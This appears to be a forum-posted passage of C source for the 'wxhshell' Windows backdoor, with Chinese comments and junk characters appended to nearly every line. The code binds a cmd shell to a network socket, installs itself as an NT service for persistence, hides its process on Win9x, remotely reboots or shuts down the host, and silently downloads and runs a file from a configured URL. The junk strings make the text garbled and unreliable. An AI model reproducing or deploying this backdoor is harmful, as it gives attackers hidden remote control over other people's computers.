  case '?': { <}A6 )=T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N\&VJc  
    break; 2;*G!rE&*`  
  } 0tL5t7/Gr  
  // 安装 ks("( nU  
  case 'i': { wJJ|]^0.  
    if(Install()) p>\[[Md  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /m;Bwu  
    else A^+kA)8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -T1R}ew*t  
    break; v;G/8>GRy  
    } u/wX7s   
  // 卸载 s.rQiD  
  case 'r': { xzA!,75@U  
    if(Uninstall()) #o[n.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h$$JXf  
    else R[6R)#o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r}e(MT:R'  
    break; 'YG P42#  
    } K3h];F! ^  
  // 显示 wxhshell 所在路径 {+cx}`  
  case 'p': { @HB=h N  
    char svExeFile[MAX_PATH]; D4(73  
    strcpy(svExeFile,"\n\r"); frm[<-~w0  
      strcat(svExeFile,ExeFile); Yc-5Mr8*,  
        send(wsh,svExeFile,strlen(svExeFile),0); E&z^E2  
    break; FZ<6kk4  
    } ## vP(M$  
  // 重启 .pe.K3G &  
  case 'b': { W{!5}Sh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J Q*~le*  
    if(Boot(REBOOT)) !Sy9v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ".Q]FE@>  
    else { #Dgu V  
    closesocket(wsh); 1I'}Uh*  
    ExitThread(0); GHLnwym  
    } R+He6c!?9  
    break; 5xnEkg4q4  
    } IcQpb F0  
  // 关机 s/~pr.>-l  
  case 'd': { .,(x7?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i$3#/*Y7_L  
    if(Boot(SHUTDOWN)) jqj}j2 9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }*%=C!m4R!  
    else { >wb*kyO7(#  
    closesocket(wsh); )v+&l9D  
    ExitThread(0); oNl-! W   
    } N;P/$  
    break; y c<%f  
    } 0QquxYYw,  
  // 获取shell hUp3$4w  
  case 's': { rVsCJuxI  
    CmdShell(wsh); i@WO>+iB  
    closesocket(wsh); 2uY:p=DxG9  
    ExitThread(0); xJ:Am>%\^  
    break; A>F&b1  
  } X"g,QqDD  
  // 退出 cdH`#X  
  case 'x': { -gC%*S5&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ho~WD'i  
    CloseIt(wsh); L{&1w  
    break; gMq;  
    } ,g?M[(wtc  
  // 离开 0e]J2>  
  case 'q': { >b3IZ^SB#$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >dF #1  
    closesocket(wsh); {i3x\|  
    WSACleanup(); <b\.d^=B  
    exit(1); ;YQ6X>  
    break; Yu&\a?]\2  
        } FU}- .Ki  
  } QJkiu8r  
  } F3Da-6T@  
_3f/lG?&-  
  // 提示信息 1uA-!T*e>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ly, ];  
} {O!;cI~  
  } r[kHVT8  
!{uV-c-5,  
  return; F3Vvqt*2  
} U;.cXU{  
I|>IV  
// shell模块句柄 ci(BPnQ  
int CmdShell(SOCKET sock) -ECnX/ "  
{ 98<^!mwF  
STARTUPINFO si; c[OQo~m$  
ZeroMemory(&si,sizeof(si)); M5`m5qc3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /n,a0U/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6w{""K.{  
PROCESS_INFORMATION ProcessInfo; cY~lDLyB  
char cmdline[]="cmd"; uSC I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O,J,Q|` H&  
  return 0; ov!L8 9`[u  
} lu1T+@t  
d]=>U^K  
// 自身启动模式 #&{)`+!"  
int StartFromService(void) u6\W"LW  
{ \vj xCkg{  
typedef struct =PLy^%  
{ ;4oKF7]   
  DWORD ExitStatus; a,M/i&.e`  
  DWORD PebBaseAddress; mn{R>  
  DWORD AffinityMask; Xa>c ]j  
  DWORD BasePriority; RhjU^,%  
  ULONG UniqueProcessId; L`^ v"W()  
  ULONG InheritedFromUniqueProcessId; \jkDRR[  
}   PROCESS_BASIC_INFORMATION; F 'HYWH0?  
:NH '>'  
PROCNTQSIP NtQueryInformationProcess; ^'sOWIzeiY  
&j{I G`Trl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F20%r 0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OW> >6zM  
iqXsD gkr  
  HANDLE             hProcess; 1BzU-Ma  
  PROCESS_BASIC_INFORMATION pbi; WPu%{/ [  
z5[Qh<M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5M3)7  
  if(NULL == hInst ) return 0; i2Gh!5]f  
,?GAFg K:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #: ,X^"w3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <lSo7NkR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DB] ]6  
d k|X&)xTJ  
  if (!NtQueryInformationProcess) return 0; [vCZD8"Y8  
U:IeMf-;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :Sk<0VVd7  
  if(!hProcess) return 0; 3_ =:^Z  
+n8,=}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O}Do4>02  
cC,gd\}M  
  CloseHandle(hProcess); yLt?XhRlp  
]b&qC (  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E|B1h!!\c  
if(hProcess==NULL) return 0; 'BEM:1)  
YjG:ECj}  
HMODULE hMod; !P_'n  
char procName[255]; <{1 3Nd'o  
unsigned long cbNeeded; n] n3/wpO  
Yg`z4 U'6~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iJu$&u  
UDa\*  
  CloseHandle(hProcess); @L^30>?l  
'cbD;+YH  
if(strstr(procName,"services")) return 1; // 以服务启动 9n".Q-V;k  
;|K(6)  
  return 0; // 注册表启动 |G-o&m"  
} `qbsDfq@  
JvLa@E)  
// 主模块 LZ~$=<  
int StartWxhshell(LPSTR lpCmdLine) &$NVEmW-J  
{ AyZBH &}RZ  
  SOCKET wsl; ~48mCD  
BOOL val=TRUE; TqMy">>  
  int port=0; RFm9dHI27  
  struct sockaddr_in door; D#&N?< }  
gLv";"4S  
  if(wscfg.ws_autoins) Install(); !O8vr4=  
L_7-y92<W  
port=atoi(lpCmdLine); iW <B1'dp  
YPav5<{a  
if(port<=0) port=wscfg.ws_port; P}Ule|&LK  
= P {]3K  
  WSADATA data; R:DW>LB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j6)@kW9x  
V0 OT_F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ='r4z z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); utwqP~  
  door.sin_family = AF_INET; 9Fxz9_ i  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NvlG@^&S  
  door.sin_port = htons(port); Wj. _{  
~x}=lKN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .:s**UiDR  
closesocket(wsl); X*C4N F0  
return 1; Fop "m/  
} uBC*7Mkm  
l4Y}<j\;  
  if(listen(wsl,2) == INVALID_SOCKET) { =zW.~(c{  
closesocket(wsl); t%<d}QuHW  
return 1; zc-.W2"Hu  
} J;BG/VI1  
  Wxhshell(wsl); e c`3Qw  
  WSACleanup(); G@QZmuj&KH  
<)(STo  
return 0; xlaBOKa%  
wXsA-H/`  
} QFf lx  
# S4{,  
// 以NT服务方式启动 21U,!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7uRXu>h  
{ a|@^ N  
DWORD   status = 0; .Su9fj y%  
  DWORD   specificError = 0xfffffff; 'rdg  
Nl1v*9_x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "VcG3.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t1 .6+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8V3SZ17  
  serviceStatus.dwWin32ExitCode     = 0; K]q OLtc  
  serviceStatus.dwServiceSpecificExitCode = 0; }3!.e  
  serviceStatus.dwCheckPoint       = 0; a4! AvG  
  serviceStatus.dwWaitHint       = 0; iwfv t^  
b-+iL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `+QrgtcEy4  
  if (hServiceStatusHandle==0) return; Ip4SdbU  
PF- sb&q  
status = GetLastError(); G}\E{VvWh  
  if (status!=NO_ERROR) l$Y7CIH  
{ A{hWFSv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; > c7fg^@  
    serviceStatus.dwCheckPoint       = 0; C@L:m1fz  
    serviceStatus.dwWaitHint       = 0; ?H3xE=<X  
    serviceStatus.dwWin32ExitCode     = status;  _D(F[p|  
    serviceStatus.dwServiceSpecificExitCode = specificError; iffRGnN^e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "ND 7,rQ  
    return; RxkcQL/Le  
  } c>r0 N[  
.)mw~3]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9oY%v7  
  serviceStatus.dwCheckPoint       = 0; h7  >  
  serviceStatus.dwWaitHint       = 0; p9 |r y+t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Rj% q)aw'  
} }o? @  
DP*[t8  
// 处理NT服务事件,比如:启动、停止 ]#[ R^t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6?ylSQ]1  
{ OY6l t.t  
switch(fdwControl) d7tH~9GX8  
{ C=AX{sn  
case SERVICE_CONTROL_STOP: [N925?--S  
  serviceStatus.dwWin32ExitCode = 0; 6kKIDEX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X4Eq/q"  
  serviceStatus.dwCheckPoint   = 0; r>`65o  
  serviceStatus.dwWaitHint     = 0; /W/ =OPe  
  { hM(|d@)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >+fet ,  
  } ?!~CX`eMZ  
  return; (Y!@,rKd   
case SERVICE_CONTROL_PAUSE: a3037~X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \?)<==^  
  break; Pd\S{ Y~wk  
case SERVICE_CONTROL_CONTINUE: F\&R nDJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [*#ms=Zdc  
  break; fXBA P10#  
case SERVICE_CONTROL_INTERROGATE: O6;7'  
  break; 7WW@%4(  
}; ~FM5]<X)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4S@^ym  
} X%S?o  
+kQ$X{+;8  
// 标准应用程序主函数 Ah28D!Gor  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,`MUd0 n  
{ xO6)lVd  
grnlJ=  
// 获取操作系统版本 do%6P^ qA  
OsIsNt=GetOsVer(); 2|Hq[c=~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RpR;1ktF>  
QkwBw^'_5  
  // 从命令行安装 7\K=8G  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3j(GcR 9  
z6b!,lp  
  // 下载执行文件 N%:QaCZKw  
if(wscfg.ws_downexe) { Ylll4w62N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BYrj#n5  
  WinExec(wscfg.ws_filenam,SW_HIDE); y}5H<ZcXA  
} < ppg$;  
>c?Z.of  
if(!OsIsNt) { F%t`dz!L  
// 如果时win9x,隐藏进程并且设置为注册表启动 r+;op_  
HideProc(); c Q|nL  
StartWxhshell(lpCmdLine); /A4zR  
} 4E}/{1  
else 9#iu#?*B  
  if(StartFromService()) diGPTV-?$  
  // 以服务方式启动 ub6=^`>h  
  StartServiceCtrlDispatcher(DispatchTable); kc\^xq~  
else iu2{%S)w  
  // 普通方式启动 Je[wGF:%:$  
  StartWxhshell(lpCmdLine); cWP34;NNM  
m49GCo k+  
return 0; `\P#TBM  
}
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只看该作者 1 发表于: 2006-10-10
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